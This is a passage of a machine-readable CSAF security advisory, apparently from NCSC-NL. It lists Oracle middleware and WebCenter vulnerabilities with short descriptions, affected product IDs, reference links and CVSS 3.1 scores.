"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60865 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60865.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.8,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60865"
},
{
"cve": "CVE-2026-60866",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Service Delivery Platform 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized read and write access, with a CVSS 3.1 base score of 6.5 indicating moderate impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60866 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60866.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60866"
},
{
"cve": "CVE-2026-60889",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers with network LDAP access to gain unauthorized access to critical or all accessible data, rated with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60889 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60889.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60889"
},
{
"cve": "CVE-2026-60895",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows low-privileged attackers with LDAP network access to create, delete, or modify critical data, leading to unauthorized access with a CVSS 3.1 score of 6.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60895 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60895.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.8,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60895"
},
{
"cve": "CVE-2026-60903",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated network attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60903 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60903.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60903"
},
{
"cve": "CVE-2026-60905",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to exploit the system via HTTP, potentially causing unauthorized data access, modification, deletion, and partial denial of service with a CVSS 3.1 score of 9.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60905 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60905.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.6,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60905"
},
{
"cve": "CVE-2026-60906",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized access to sensitive data, rated with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60906 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60906.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60906"
},
{
"cve": "CVE-2026-60909",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with network access and user interaction to gain unauthorized access and modify critical data, rated CVSS 3.1 base score 7.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60909 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60909.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60909"
},
{
"cve": "CVE-2026-60914",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Unified Directory versions 12.2.1.4.0 and 14.1.2.1.0 allows unauthenticated attackers with network LDAP access to gain unauthorized access to critical or all accessible data, rated with a CVSS 3.1 base score of 7.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60914 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60914.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60914"
},
{
"cve": "CVE-2026-60915",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle Fusion Middleware Helidon 4.5.0 allows unauthenticated HTTP attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 7.4 indicating high confidentiality and integrity impact.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60915 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60915.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.4,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60915"
},
{
"cve": "CVE-2026-60916",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to gain unauthorized access, modify or delete data, and cause partial denial of service, with a CVSS 3.1 score of 9.9.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60916 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60916.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60916"
},
{
"cve": "CVE-2026-60921",
"notes": [
{
"category": "description",
"text": "A critical remote code execution vulnerability with a CVSS 3.1 score of 9.8 affects Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 via network access through T3 or IIOP without authentication.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60921 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60921.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60921"
},
{
"cve": "CVE-2026-60928",
"notes": [
{
"category": "description",
"text": "A high-severity vulnerability in Oracle WebCenter Content 14.1.2.0.0 allows low-privileged attackers with infrastructure access to compromise system confidentiality and integrity, enabling unauthorized data creation, deletion, or modification.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60928 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60928.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.4,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60928"
},
{
"cve": "CVE-2026-60933",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to create, delete, or modify critical data, leading to unauthorized access with a CVSS 3.1 score of 7.4.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60933 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60933.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.4,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60933"
},
{
"cve": "CVE-2026-60934",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated network attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60934 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60934.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60934"
},
{
"cve": "CVE-2026-60935",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Content 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated network attackers to create, delete, or modify critical data, with a CVSS 3.1 base score of 8.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60935 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60935.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60935"
},
{
"cve": "CVE-2026-60944",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Content versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to gain unauthorized access and modify data, with a CVSS 3.1 base score of 8.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60944 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60944.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60944"
},
{
"cve": "CVE-2026-60946",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 via RMI has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60946 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60946.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-60946"
},
{
"cve": "CVE-2026-60947",
"notes": [
{
"category": "description",
"text": "A critical unauthenticated remote code execution vulnerability in Oracle WebCenter Enterprise Capture versions 12.2.1.4.0 and 14.1.2.0.0 via RMI has a CVSS 3.1 base score of 9.8, severely impacting confidentiality, integrity, and availability.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-60947 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-60947.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
